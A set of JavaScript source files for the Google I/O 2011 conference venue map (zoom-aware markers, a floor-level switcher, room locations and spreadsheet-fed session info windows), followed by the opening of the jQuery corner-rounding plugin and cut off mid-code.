* @fileoverview SmartMarker.
*
* @author Chris Broadfoot (cbro@google.com)
*/
/**
* A google.maps.Marker that has some smarts about the zoom levels it should be
* shown.
*
* Options are the same as google.maps.Marker, with the addition of minZoom and
* maxZoom. These zoom levels are inclusive. That is, a SmartMarker with
* a minZoom and maxZoom of 13 will only be shown at zoom level 13.
* @constructor
* @extends google.maps.Marker
* @param {Object=} opts Same as MarkerOptions, plus minZoom and maxZoom.
*/
function SmartMarker(opts) {
var marker = new google.maps.Marker;
// default min/max Zoom - shows the marker all the time.
marker.setValues({
'minZoom': 0,
'maxZoom': Infinity
});
// the current listener (if any), triggered on map zoom_changed
var mapZoomListener;
google.maps.event.addListener(marker, 'map_changed', function() {
if (mapZoomListener) {
google.maps.event.removeListener(mapZoomListener);
}
var map = marker.getMap();
if (map) {
var listener = SmartMarker.newZoomListener_(marker);
mapZoomListener = google.maps.event.addListener(map, 'zoom_changed',
listener);
// Call the listener straight away. The map may already be initialized,
// so it will take user input for zoom_changed to be fired.
listener();
}
});
marker.setValues(opts);
return marker;
}
window['SmartMarker'] = SmartMarker;
/**
* Creates a new listener to be triggered on 'zoom_changed' event.
* Hides and shows the target Marker based on the map's zoom level.
* @param {google.maps.Marker} marker The target marker.
* @return Function
*/
SmartMarker.newZoomListener_ = function(marker) {
var map = marker.getMap();
return function() {
var zoom = map.getZoom();
var minZoom = Number(marker.get('minZoom'));
var maxZoom = Number(marker.get('maxZoom'));
marker.setVisible(zoom >= minZoom && zoom <= maxZoom);
};
};
| JavaScript |
/**
* Creates a new level control.
* @constructor
* @param {IoMap} iomap the IO map controller.
* @param {Array.<string>} levels the levels to create switchers for.
*/
function LevelControl(iomap, levels) {
var that = this;
this.iomap_ = iomap;
this.el_ = this.initDom_(levels);
google.maps.event.addListener(iomap, 'level_changed', function() {
that.changeLevel_(iomap.get('level'));
});
}
/**
* Gets the DOM element for the control.
* @return {Element}
*/
LevelControl.prototype.getElement = function() {
return this.el_;
};
/**
* Creates the necessary DOM for the control.
* @return {Element}
*/
LevelControl.prototype.initDom_ = function(levelDefinition) {
var controlDiv = document.createElement('DIV');
controlDiv.setAttribute('id', 'levels-wrapper');
var levels = document.createElement('DIV');
levels.setAttribute('id', 'levels');
controlDiv.appendChild(levels);
var levelSelect = this.levelSelect_ = document.createElement('DIV');
levelSelect.setAttribute('id', 'level-select');
levels.appendChild(levelSelect);
this.levelDivs_ = [];
var that = this;
for (var i = 0, level; level = levelDefinition[i]; i++) {
var div = document.createElement('DIV');
div.innerHTML = 'Level ' + level;
div.setAttribute('id', 'level-' + level);
div.className = 'level';
levels.appendChild(div);
this.levelDivs_.push(div);
google.maps.event.addDomListener(div, 'click', function(e) {
var id = e.currentTarget.getAttribute('id');
var level = parseInt(id.replace('level-', ''), 10);
that.iomap_.setHash('level' + level);
});
}
controlDiv.index = 1;
return controlDiv;
};
/**
* Changes the highlighted level in the control.
* @param {number} level the level number to select.
*/
LevelControl.prototype.changeLevel_ = function(level) {
if (this.currentLevelDiv_) {
this.currentLevelDiv_.className =
this.currentLevelDiv_.className.replace(' level-selected', '');
}
var h = 25;
if (window['ioEmbed']) {
h = (window.screen.availWidth > 600) ? 34 : 24;
}
this.levelSelect_.style.top = 9 + ((level - 1) * h) + 'px';
var div = this.levelDivs_[level - 1];
div.className += ' level-selected';
this.currentLevelDiv_ = div;
};
| JavaScript |
/**
* Creates a new Floor.
* @constructor
* @param {google.maps.Map=} opt_map
*/
function Floor(opt_map) {
/**
* @type Array.<google.maps.MVCObject>
*/
this.overlays_ = [];
/**
* @type boolean
*/
this.shown_ = true;
if (opt_map) {
this.setMap(opt_map);
}
}
/**
* @param {google.maps.Map} map
*/
Floor.prototype.setMap = function(map) {
this.map_ = map;
};
/**
* @param {google.maps.MVCObject} overlay For example, a Marker or MapLabel.
* Requires a setMap method.
*/
Floor.prototype.addOverlay = function(overlay) {
if (!overlay) return;
this.overlays_.push(overlay);
overlay.setMap(this.shown_ ? this.map_ : null);
};
/**
* Sets the map on all the overlays
* @param {google.maps.Map} map The map to set.
*/
Floor.prototype.setMapAll_ = function(map) {
this.shown_ = !!map;
for (var i = 0, overlay; overlay = this.overlays_[i]; i++) {
overlay.setMap(map);
}
};
/**
* Hides the floor and all associated overlays.
*/
Floor.prototype.hide = function() {
this.setMapAll_(null);
};
/**
* Shows the floor and all associated overlays.
*/
Floor.prototype.show = function() {
this.setMapAll_(this.map_);
};
| JavaScript |
// Copyright 2011 Google
/**
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* The Google IO Map
* @constructor
*/
var IoMap = function() {
var moscone = new google.maps.LatLng(37.78313383211993, -122.40394949913025);
/** @type {Node} */
this.mapDiv_ = document.getElementById(this.MAP_ID);
var ioStyle = [
{
'featureType': 'road',
stylers: [
{ hue: '#00aaff' },
{ gamma: 1.67 },
{ saturation: -24 },
{ lightness: -38 }
]
},{
'featureType': 'road',
'elementType': 'labels',
stylers: [
{ invert_lightness: true }
]
}];
/** @type {boolean} */
this.ready_ = false;
/** @type {google.maps.Map} */
this.map_ = new google.maps.Map(this.mapDiv_, {
zoom: 18,
center: moscone,
navigationControl: true,
mapTypeControl: false,
scaleControl: true,
mapTypeId: 'io',
streetViewControl: false
});
var style = /** @type {*} */(new google.maps.StyledMapType(ioStyle));
this.map_.mapTypes.set('io', /** @type {google.maps.MapType} */(style));
google.maps.event.addListenerOnce(this.map_, 'tilesloaded', function() {
if (window['MAP_CONTAINER'] !== undefined) {
window['MAP_CONTAINER']['onMapReady']();
}
});
/** @type {Array.<Floor>} */
this.floors_ = [];
for (var i = 0; i < this.LEVELS_.length; i++) {
this.floors_.push(new Floor(this.map_));
}
this.addLevelControl_();
this.addMapOverlay_();
this.loadMapContent_();
this.initLocationHashWatcher_();
if (!document.location.hash) {
this.showLevel(1, true);
}
}
IoMap.prototype = new google.maps.MVCObject;
/**
* The id of the Element to add the map to.
*
* @type {string}
* @const
*/
IoMap.prototype.MAP_ID = 'map-canvas';
/**
* The levels of the Moscone Center.
*
* @type {Array.<string>}
* @private
*/
IoMap.prototype.LEVELS_ = ['1', '2', '3'];
/**
* Location where the tiles are hosted.
*
* @type {string}
* @private
*/
IoMap.prototype.BASE_TILE_URL_ =
'http://www.gstatic.com/io2010maps/tiles/5/';
/**
* The minimum zoom level to show the overlay.
*
* @type {number}
* @private
*/
IoMap.prototype.MIN_ZOOM_ = 16;
/**
* The maximum zoom level to show the overlay.
*
* @type {number}
* @private
*/
IoMap.prototype.MAX_ZOOM_ = 20;
/**
* The template for loading tiles. Replace {L} with the level, {Z} with the
* zoom level, {X} and {Y} with respective tile coordinates.
*
* @type {string}
* @private
*/
IoMap.prototype.TILE_TEMPLATE_URL_ = IoMap.prototype.BASE_TILE_URL_ +
'L{L}_{Z}_{X}_{Y}.png';
/**
* @type {string}
* @private
*/
IoMap.prototype.SIMPLE_TILE_TEMPLATE_URL_ =
IoMap.prototype.BASE_TILE_URL_ + '{Z}_{X}_{Y}.png';
/**
* The extent of the overlay at certain zoom levels.
*
* @type {Object.<string, Array.<Array.<number>>>}
* @private
*/
IoMap.prototype.RESOLUTION_BOUNDS_ = {
16: [[10484, 10485], [25328, 25329]],
17: [[20969, 20970], [50657, 50658]],
18: [[41939, 41940], [101315, 101317]],
19: [[83878, 83881], [202631, 202634]],
20: [[167757, 167763], [405263, 405269]]
};
/**
* The previous hash to compare against.
*
* @type {string?}
* @private
*/
IoMap.prototype.prevHash_ = null;
/**
* Initialise the location hash watcher.
*
* @private
*/
IoMap.prototype.initLocationHashWatcher_ = function() {
var that = this;
if ('onhashchange' in window) {
window.addEventListener('hashchange', function() {
that.parseHash_();
}, true);
} else {
var that = this
window.setInterval(function() {
that.parseHash_();
}, 100);
}
this.parseHash_();
};
/**
* Called from Android.
*
* @param {Number} x A percentage to pan left by.
*/
IoMap.prototype.panLeft = function(x) {
var div = this.map_.getDiv();
var left = div.clientWidth * x;
this.map_.panBy(left, 0);
};
IoMap.prototype['panLeft'] = IoMap.prototype.panLeft;
/**
* Adds the level switcher to the top left of the map.
*
* @private
*/
IoMap.prototype.addLevelControl_ = function() {
var control = new LevelControl(this, this.LEVELS_).getElement();
this.map_.controls[google.maps.ControlPosition.TOP_LEFT].push(control);
};
/**
* Shows a floor based on the content of location.hash.
*
* @private
*/
IoMap.prototype.parseHash_ = function() {
var hash = document.location.hash;
if (hash == this.prevHash_) {
return;
}
this.prevHash_ = hash;
var level = 1;
if (hash) {
var match = hash.match(/level(\d)(?:\:([\w-]+))?/);
if (match && match[1]) {
level = parseInt(match[1], 10);
}
}
this.showLevel(level, true);
};
/**
* Updates location.hash based on the currently shown floor.
*
* @param {string?} opt_hash
*/
IoMap.prototype.setHash = function(opt_hash) {
var hash = document.location.hash.substring(1);
if (hash == opt_hash) {
return;
}
if (opt_hash) {
document.location.hash = opt_hash;
} else {
document.location.hash = 'level' + this.get('level');
}
};
IoMap.prototype['setHash'] = IoMap.prototype.setHash;
/**
* Called from spreadsheets.
*/
IoMap.prototype.loadSandboxCallback = function(json) {
var updated = json['feed']['updated']['$t'];
var contentItems = [];
var ids = {};
var entries = json['feed']['entry'];
for (var i = 0, entry; entry = entries[i]; i++) {
var item = {};
item.companyName = entry['gsx$companyname']['$t'];
item.companyUrl = entry['gsx$companyurl']['$t'];
var p = entry['gsx$companypod']['$t'];
item.pod = p;
p = p.toLowerCase().replace(/\s+/, '');
item.sessionRoom = p;
contentItems.push(item);
};
this.sandboxItems_ = contentItems;
this.ready_ = true;
this.addMapContent_();
};
/**
* Called from spreadsheets.
*
* @param {Object} json The json feed from the spreadsheet.
*/
IoMap.prototype.loadSessionsCallback = function(json) {
var updated = json['feed']['updated']['$t'];
var contentItems = [];
var ids = {};
var entries = json['feed']['entry'];
for (var i = 0, entry; entry = entries[i]; i++) {
var item = {};
item.sessionDate = entry['gsx$sessiondate']['$t'];
item.sessionAbstract = entry['gsx$sessionabstract']['$t'];
item.sessionHashtag = entry['gsx$sessionhashtag']['$t'];
item.sessionLevel = entry['gsx$sessionlevel']['$t'];
item.sessionTitle = entry['gsx$sessiontitle']['$t'];
item.sessionTrack = entry['gsx$sessiontrack']['$t'];
item.sessionUrl = entry['gsx$sessionurl']['$t'];
item.sessionYoutubeUrl = entry['gsx$sessionyoutubeurl']['$t'];
item.sessionTime = entry['gsx$sessiontime']['$t'];
item.sessionRoom = entry['gsx$sessionroom']['$t'];
item.sessionTags = entry['gsx$sessiontags']['$t'];
item.sessionSpeakers = entry['gsx$sessionspeakers']['$t'];
if (item.sessionDate.indexOf('10') != -1) {
item.sessionDay = 10;
} else {
item.sessionDay = 11;
}
var timeParts = item.sessionTime.split('-');
item.sessionStart = this.convertTo24Hour_(timeParts[0]);
item.sessionEnd = this.convertTo24Hour_(timeParts[1]);
contentItems.push(item);
}
this.sessionItems_ = contentItems;
};
/**
* Converts the time in the spread sheet to 24 hour time.
*
* @param {string} time The time like 10:42am.
*/
IoMap.prototype.convertTo24Hour_ = function(time) {
var pm = time.indexOf('pm') != -1;
time = time.replace(/[am|pm]/ig, '');
if (pm) {
var bits = time.split(':');
var hr = parseInt(bits[0], 10);
if (hr < 12) {
time = (hr + 12) + ':' + bits[1];
}
}
return time;
};
/**
* Loads the map content from Google Spreadsheets.
*
* @private
*/
IoMap.prototype.loadMapContent_ = function() {
// Initiate a JSONP request.
var that = this;
// Add a exposed call back function
window['loadSessionsCallback'] = function(json) {
that.loadSessionsCallback(json);
}
// Add a exposed call back function
window['loadSandboxCallback'] = function(json) {
that.loadSandboxCallback(json);
}
var key = 'tmaLiaNqIWYYtuuhmIyG0uQ';
var worksheetIDs = {
sessions: 'od6',
sandbox: 'od4'
};
var jsonpUrl = 'http://spreadsheets.google.com/feeds/list/' +
key + '/' + worksheetIDs.sessions + '/public/values' +
'?alt=json-in-script&callback=loadSessionsCallback';
var script = document.createElement('script');
script.setAttribute('src', jsonpUrl);
script.setAttribute('type', 'text/javascript');
document.documentElement.firstChild.appendChild(script);
var jsonpUrl = 'http://spreadsheets.google.com/feeds/list/' +
key + '/' + worksheetIDs.sandbox + '/public/values' +
'?alt=json-in-script&callback=loadSandboxCallback';
var script = document.createElement('script');
script.setAttribute('src', jsonpUrl);
script.setAttribute('type', 'text/javascript');
document.documentElement.firstChild.appendChild(script);
};
/**
* Called from Android.
*
* @param {string} roomId The id of the room to load.
*/
IoMap.prototype.showLocationById = function(roomId) {
var locations = this.LOCATIONS_;
for (var level in locations) {
var levelId = level.replace('LEVEL', '');
for (var loc in locations[level]) {
var room = locations[level][loc];
if (loc == roomId) {
var pos = new google.maps.LatLng(room.lat, room.lng);
this.map_.panTo(pos);
this.map_.setZoom(19);
this.showLevel(levelId);
if (room.marker_) {
room.marker_.setAnimation(google.maps.Animation.BOUNCE);
// Disable the animation after 5 seconds.
window.setTimeout(function() {
room.marker_.setAnimation();
}, 5000);
}
return;
}
}
}
};
IoMap.prototype['showLocationById'] = IoMap.prototype.showLocationById;
/**
* Called when the level is changed. Hides and shows floors.
*/
IoMap.prototype['level_changed'] = function() {
var level = this.get('level');
if (this.infoWindow_) {
this.infoWindow_.setMap(null);
}
for (var i = 1, floor; floor = this.floors_[i - 1]; i++) {
if (i == level) {
floor.show();
} else {
floor.hide();
}
}
this.setHash('level' + level);
};
/**
* Shows a particular floor.
*
* @param {string} level The level to show.
* @param {boolean=} opt_force if true, changes the floor even if it's already
* the current floor.
*/
IoMap.prototype.showLevel = function(level, opt_force) {
if (!opt_force && level == this.get('level')) {
return;
}
this.set('level', level);
};
IoMap.prototype['showLevel'] = IoMap.prototype.showLevel;
/**
* Create a marker with the content item's correct icon.
*
* @param {Object} item The content item for the marker.
* @return {google.maps.Marker} The new marker.
* @private
*/
IoMap.prototype.createContentMarker_ = function(item) {
if (!item.icon) {
item.icon = 'generic';
}
var image;
var shadow;
switch(item.icon) {
case 'generic':
case 'info':
case 'media':
var image = new google.maps.MarkerImage(
'marker-' + item.icon + '.png',
new google.maps.Size(30, 28),
new google.maps.Point(0, 0),
new google.maps.Point(13, 26));
var shadow = new google.maps.MarkerImage(
'marker-shadow.png',
new google.maps.Size(30, 28),
new google.maps.Point(0,0),
new google.maps.Point(13, 26));
break;
case 'toilets':
var image = new google.maps.MarkerImage(
item.icon + '.png',
new google.maps.Size(35, 35),
new google.maps.Point(0, 0),
new google.maps.Point(17, 17));
break;
case 'elevator':
var image = new google.maps.MarkerImage(
item.icon + '.png',
new google.maps.Size(48, 26),
new google.maps.Point(0, 0),
new google.maps.Point(24, 13));
break;
}
var inactive = item.type == 'inactive';
var latLng = new google.maps.LatLng(item.lat, item.lng);
var marker = new SmartMarker({
position: latLng,
shadow: shadow,
icon: image,
title: item.title,
minZoom: inactive ? 19 : 18,
clickable: !inactive
});
marker['type_'] = item.type;
if (!inactive) {
var that = this;
google.maps.event.addListener(marker, 'click', function() {
that.openContentInfo_(item);
});
}
return marker;
};
/**
* Create a label with the content item's title atribute, if it exists.
*
* @param {Object} item The content item for the marker.
* @return {MapLabel?} The new label.
* @private
*/
IoMap.prototype.createContentLabel_ = function(item) {
if (!item.title || item.suppressLabel) {
return null;
}
var latLng = new google.maps.LatLng(item.lat, item.lng);
return new MapLabel({
'text': item.title,
'position': latLng,
'minZoom': item.labelMinZoom || 18,
'align': item.labelAlign || 'center',
'fontColor': item.labelColor,
'fontSize': item.labelSize || 12
});
}
/**
* Open a info window a content item.
*
* @param {Object} item A content item with content and a marker.
*/
IoMap.prototype.openContentInfo_ = function(item) {
if (window['MAP_CONTAINER'] !== undefined) {
window['MAP_CONTAINER']['openContentInfo'](item.room);
return;
}
var sessionBase = 'http://www.google.com/events/io/2011/sessions.html';
var now = new Date();
var may11 = new Date('May 11, 2011');
var day = now < may11 ? 10 : 11;
var type = item.type;
var id = item.id;
var title = item.title;
var content = ['<div class="infowindow">'];
var sessions = [];
var empty = true;
if (item.type == 'session') {
if (day == 10) {
content.push('<h3>' + title + ' - Tuesday May 10</h3>');
} else {
content.push('<h3>' + title + ' - Wednesday May 11</h3>');
}
for (var i = 0, session; session = this.sessionItems_[i]; i++) {
if (session.sessionRoom == item.room && session.sessionDay == day) {
sessions.push(session);
empty = false;
}
}
sessions.sort(this.sortSessions_);
for (var i = 0, session; session = sessions[i]; i++) {
content.push('<div class="session"><div class="session-time">' +
session.sessionTime + '</div><div class="session-title"><a href="' +
session.sessionUrl + '">' +
session.sessionTitle + '</a></div></div>');
}
}
if (item.type == 'sandbox') {
var sandboxName;
for (var i = 0, sandbox; sandbox = this.sandboxItems_[i]; i++) {
if (sandbox.sessionRoom == item.room) {
if (!sandboxName) {
sandboxName = sandbox.pod;
content.push('<h3>' + sandbox.pod + '</h3>');
content.push('<div class="sandbox">');
}
content.push('<div class="sandbox-items"><a href="http://' +
sandbox.companyUrl + '">' + sandbox.companyName + '</a></div>');
empty = false;
}
}
content.push('</div>');
empty = false;
}
if (empty) {
return;
}
content.push('</div>');
var pos = new google.maps.LatLng(item.lat, item.lng);
if (!this.infoWindow_) {
this.infoWindow_ = new google.maps.InfoWindow();
}
this.infoWindow_.setContent(content.join(''));
this.infoWindow_.setPosition(pos);
this.infoWindow_.open(this.map_);
};
/**
* A custom sort function to sort the sessions by start time.
*
* @param {string} a SessionA<enter description here>.
* @param {string} b SessionB.
* @return {boolean} True if sessionA is after sessionB.
*/
IoMap.prototype.sortSessions_ = function(a, b) {
var aStart = parseInt(a.sessionStart.replace(':', ''), 10);
var bStart = parseInt(b.sessionStart.replace(':', ''), 10);
return aStart > bStart;
};
/**
* Adds all overlays (markers, labels) to the map.
*/
IoMap.prototype.addMapContent_ = function() {
if (!this.ready_) {
return;
}
for (var i = 0, level; level = this.LEVELS_[i]; i++) {
var floor = this.floors_[i];
var locations = this.LOCATIONS_['LEVEL' + level];
for (var roomId in locations) {
var room = locations[roomId];
if (room.room == undefined) {
room.room = roomId;
}
if (room.type != 'label') {
var marker = this.createContentMarker_(room);
floor.addOverlay(marker);
room.marker_ = marker;
}
var label = this.createContentLabel_(room);
floor.addOverlay(label);
}
}
};
/**
* Gets the correct tile url for the coordinates and zoom.
*
* @param {google.maps.Point} coord The coordinate of the tile.
* @param {Number} zoom The current zoom level.
* @return {string} The url to the tile.
*/
IoMap.prototype.getTileUrl = function(coord, zoom) {
// Ensure that the requested resolution exists for this tile layer.
if (this.MIN_ZOOM_ > zoom || zoom > this.MAX_ZOOM_) {
return '';
}
// Ensure that the requested tile x,y exists.
if ((this.RESOLUTION_BOUNDS_[zoom][0][0] > coord.x ||
coord.x > this.RESOLUTION_BOUNDS_[zoom][0][1]) ||
(this.RESOLUTION_BOUNDS_[zoom][1][0] > coord.y ||
coord.y > this.RESOLUTION_BOUNDS_[zoom][1][1])) {
return '';
}
var template = this.TILE_TEMPLATE_URL_;
if (16 <= zoom && zoom <= 17) {
template = this.SIMPLE_TILE_TEMPLATE_URL_;
}
return template
.replace('{L}', /** @type string */(this.get('level')))
.replace('{Z}', /** @type string */(zoom))
.replace('{X}', /** @type string */(coord.x))
.replace('{Y}', /** @type string */(coord.y));
};
/**
* Add the floor overlay to the map.
*
* @private
*/
IoMap.prototype.addMapOverlay_ = function() {
var that = this;
var overlay = new google.maps.ImageMapType({
getTileUrl: function(coord, zoom) {
return that.getTileUrl(coord, zoom);
},
tileSize: new google.maps.Size(256, 256)
});
google.maps.event.addListener(this, 'level_changed', function() {
var overlays = that.map_.overlayMapTypes;
if (overlays.length) {
overlays.removeAt(0);
}
overlays.push(overlay);
});
};
/**
* All the features of the map.
* @type {Object.<string, Object.<string, Object.<string, *>>>}
*/
IoMap.prototype.LOCATIONS_ = {
'LEVEL1': {
'northentrance': {
lat: 37.78381535905965,
lng: -122.40362226963043,
title: 'Entrance',
type: 'label',
labelColor: '#006600',
labelAlign: 'left',
labelSize: 10
},
'eastentrance': {
lat: 37.78328434094279,
lng: -122.40319311618805,
title: 'Entrance',
type: 'label',
labelColor: '#006600',
labelAlign: 'left',
labelSize: 10
},
'lunchroom': {
lat: 37.783112633669575,
lng: -122.40407556295395,
title: 'Lunch Room'
},
'restroom1a': {
lat: 37.78372420652042,
lng: -122.40396961569786,
icon: 'toilets',
type: 'inactive',
title: 'Restroom',
suppressLabel: true
},
'elevator1a': {
lat: 37.783669090977035,
lng: -122.40389987826347,
icon: 'elevator',
type: 'inactive',
title: 'Elevators',
suppressLabel: true
},
'gearpickup': {
lat: 37.78367863020862,
lng: -122.4037617444992,
title: 'Gear Pickup',
type: 'label'
},
'checkin': {
lat: 37.78334369645064,
lng: -122.40335404872894,
title: 'Check In',
type: 'label'
},
'escalators1': {
lat: 37.78353872135503,
lng: -122.40336209535599,
title: 'Escalators',
type: 'label',
labelAlign: 'left'
}
},
'LEVEL2': {
'escalators2': {
lat: 37.78353872135503,
lng: -122.40336209535599,
title: 'Escalators',
type: 'label',
labelAlign: 'left',
labelMinZoom: 19
},
'press': {
lat: 37.78316774962791,
lng: -122.40360751748085,
title: 'Press Room',
type: 'label'
},
'restroom2a': {
lat: 37.7835334217721,
lng: -122.40386635065079,
icon: 'toilets',
type: 'inactive',
title: 'Restroom',
suppressLabel: true
},
'restroom2b': {
lat: 37.78250317562106,
lng: -122.40423113107681,
icon: 'toilets',
type: 'inactive',
title: 'Restroom',
suppressLabel: true
},
'elevator2a': {
lat: 37.783669090977035,
lng: -122.40389987826347,
icon: 'elevator',
type: 'inactive',
title: 'Elevators',
suppressLabel: true
},
'1': {
lat: 37.78346240732338,
lng: -122.40415401756763,
icon: 'media',
title: 'Room 1',
type: 'session',
room: '1'
},
'2': {
lat: 37.78335005596647,
lng: -122.40431495010853,
icon: 'media',
title: 'Room 2',
type: 'session',
room: '2'
},
'3': {
lat: 37.783215446097124,
lng: -122.404490634799,
icon: 'media',
title: 'Room 3',
type: 'session',
room: '3'
},
'4': {
lat: 37.78332461789977,
lng: -122.40381203591824,
icon: 'media',
title: 'Room 4',
type: 'session',
room: '4'
},
'5': {
lat: 37.783186828219335,
lng: -122.4039850383997,
icon: 'media',
title: 'Room 5',
type: 'session',
room: '5'
},
'6': {
lat: 37.783013000871364,
lng: -122.40420497953892,
icon: 'media',
title: 'Room 6',
type: 'session',
room: '6'
},
'7': {
lat: 37.7828783903882,
lng: -122.40438133478165,
icon: 'media',
title: 'Room 7',
type: 'session',
room: '7'
},
'8': {
lat: 37.78305009820564,
lng: -122.40378588438034,
icon: 'media',
title: 'Room 8',
type: 'session',
room: '8'
},
'9': {
lat: 37.78286673120095,
lng: -122.40402393043041,
icon: 'media',
title: 'Room 9',
type: 'session',
room: '9'
},
'10': {
lat: 37.782719401312626,
lng: -122.40420028567314,
icon: 'media',
title: 'Room 10',
type: 'session',
room: '10'
},
'appengine': {
lat: 37.783362774996625,
lng: -122.40335941314697,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
labelAlign: 'right',
title: 'App Engine'
},
'chrome': {
lat: 37.783730566003555,
lng: -122.40378990769386,
type: 'sandbox',
icon: 'generic',
title: 'Chrome'
},
'googleapps': {
lat: 37.783303419504094,
lng: -122.40320384502411,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
title: 'Apps'
},
'geo': {
lat: 37.783365954753805,
lng: -122.40314483642578,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
title: 'Geo'
},
'accessibility': {
lat: 37.783414711013485,
lng: -122.40342646837234,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
labelAlign: 'right',
title: 'Accessibility'
},
'developertools': {
lat: 37.783457107734876,
lng: -122.40347877144814,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
labelAlign: 'right',
title: 'Dev Tools'
},
'commerce': {
lat: 37.78349102509448,
lng: -122.40351900458336,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
labelAlign: 'right',
title: 'Commerce'
},
'youtube': {
lat: 37.783537661438515,
lng: -122.40358605980873,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
labelAlign: 'right',
title: 'YouTube'
},
'officehoursfloor2a': {
lat: 37.78249045644304,
lng: -122.40410104393959,
title: 'Office Hours',
type: 'label'
},
'officehoursfloor2': {
lat: 37.78266852473624,
lng: -122.40387573838234,
title: 'Office Hours',
type: 'label'
},
'officehoursfloor2b': {
lat: 37.782844472747406,
lng: -122.40365579724312,
title: 'Office Hours',
type: 'label'
}
},
'LEVEL3': {
'escalators3': {
lat: 37.78353872135503,
lng: -122.40336209535599,
title: 'Escalators',
type: 'label',
labelAlign: 'left'
},
'restroom3a': {
lat: 37.78372420652042,
lng: -122.40396961569786,
icon: 'toilets',
type: 'inactive',
title: 'Restroom',
suppressLabel: true
},
'restroom3b': {
lat: 37.78250317562106,
lng: -122.40423113107681,
icon: 'toilets',
type: 'inactive',
title: 'Restroom',
suppressLabel: true
},
'elevator3a': {
lat: 37.783669090977035,
lng: -122.40389987826347,
icon: 'elevator',
type: 'inactive',
title: 'Elevators',
suppressLabel: true
},
'keynote': {
lat: 37.783250423488326,
lng: -122.40417748689651,
icon: 'media',
title: 'Keynote',
type: 'label'
},
'11': {
lat: 37.78283069370135,
lng: -122.40408763289452,
icon: 'media',
title: 'Room 11',
type: 'session',
room: '11'
},
'googletv': {
lat: 37.7837125474666,
lng: -122.40362092852592,
type: 'sandbox',
icon: 'generic',
title: 'Google TV'
},
'android': {
lat: 37.783530242022124,
lng: -122.40358874201775,
type: 'sandbox',
icon: 'generic',
title: 'Android'
},
'officehoursfloor3': {
lat: 37.782843412820846,
lng: -122.40365579724312,
title: 'Office Hours',
type: 'label'
},
'officehoursfloor3a': {
lat: 37.78267170452323,
lng: -122.40387842059135,
title: 'Office Hours',
type: 'label'
}
}
};
google.maps.event.addDomListener(window, 'load', function() {
window['IoMap'] = new IoMap();
});
| JavaScript |
/*!
* jQuery corner plugin: simple corner rounding
* Examples and documentation at: http://jquery.malsup.com/corner/
* version 2.11 (15-JUN-2010)
* Requires jQuery v1.3.2 or later
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
* Authors: Dave Methvin and Mike Alsup
*/
/**
* corner() takes a single string argument: $('#myDiv').corner("effect corners width")
*
* effect: name of the effect to apply, such as round, bevel, notch, bite, etc (default is round).
* corners: one or more of: top, bottom, tr, tl, br, or bl. (default is all corners)
* width: width of the effect; in the case of rounded corners this is the radius.
* specify this value using the px suffix such as 10px (yes, it must be pixels).
*/
;(function($) {
var style = document.createElement('div').style,
moz = style['MozBorderRadius'] !== undefined,
webkit = style['WebkitBorderRadius'] !== undefined,
radius = style['borderRadius'] !== undefined || style['BorderRadius'] !== undefined,
mode = document.documentMode || 0,
noBottomFold = $.browser.msie && (($.browser.version < 8 && !mode) || mode < 8),
expr = $.browser.msie && (function() {
var div = document.createElement('div');
try { div.style.setExpression('width','0+0'); div.style.removeExpression('width'); }
catch(e) { return false; }
return true;
})();
$.support = $.support || {};
$.support.borderRadius = moz || webkit || radius; // so you can do: if (!$.support.borderRadius) $('#myDiv').corner();
function sz(el, p) {
return parseInt($.css(el,p))||0;
};
function hex2(s) {
var s = parseInt(s).toString(16);
return ( s.length < 2 ) ? '0'+s : s;
};
function gpc(node) {
while(node) {
var v = $.css(node,'backgroundColor'), rgb;
if (v && v != 'transparent' && v != 'rgba(0, 0, 0, 0)') {
if (v.indexOf('rgb') >= 0) {
rgb = v.match(/\d+/g);
return '#'+ hex2(rgb[0]) + hex2(rgb[1]) + hex2(rgb[2]);
}
return v;
}
if (node.nodeName.toLowerCase() == 'html')
break;
node = node.parentNode; // keep walking if transparent
}
return '#ffffff';
};
function getWidth(fx, i, width) {
switch(fx) {
case 'round': return Math.round(width*(1-Math.cos(Math.asin(i/width))));
case 'cool': return Math.round(width*(1+Math.cos(Math.asin(i/width))));
case 'sharp': return Math.round(width*(1-Math.cos(Math.acos(i/width))));
case 'bite': return Math.round(width*(Math.cos(Math.asin((width-i-1)/width))));
case 'slide': return Math.round(width*(Math.atan2(i,width/i)));
case 'jut': return Math.round(width*(Math.atan2(width,(width-i-1))));
case 'curl': return Math.round(width*(Math.atan(i)));
case 'tear': return Math.round(width*(Math.cos(i)));
case 'wicked': return Math.round(width*(Math.tan(i)));
case 'long': return Math.round(width*(Math.sqrt(i)));
case 'sculpt': return Math.round(width*(Math.log((width-i-1),width)));
case 'dogfold':
case 'dog': return (i&1) ? (i+1) : width;
case 'dog2': return (i&2) ? (i+1) : width;
case 'dog3': return (i&3) ? (i+1) : width;
case 'fray': return (i%2)*width;
case 'notch': return width;
case 'bevelfold':
case 'bevel': return i+1;
}
};
$.fn.corner = function(options) {
// in 1.3+ we can fix mistakes with the ready state
if (this.length == 0) {
if (!$.isReady && this.selector) {
var s = this.selector, c = this.context;
$(function() {
$(s,c).corner(options);
});
}
return this;
}
return this.each(function(index){
var $this = $(this),
// meta values override options
o = [$this.attr($.fn.corner.defaults.metaAttr) || '', options || ''].join(' ').toLowerCase(),
keep = /keep/.test(o), // keep borders?
cc = ((o.match(/cc:(#[0-9a-f]+)/)||[])[1]), // corner color
sc = ((o.match(/sc:(#[0-9a-f]+)/)||[])[1]), // strip color
width = parseInt((o.match(/(\d+)px/)||[])[1]) || 10, // corner width
re = /round|bevelfold|bevel|notch|bite|cool|sharp|slide|jut|curl|tear|fray|wicked|sculpt|long|dog3|dog2|dogfold|dog/,
fx = ((o.match(re)||['round'])[0]),
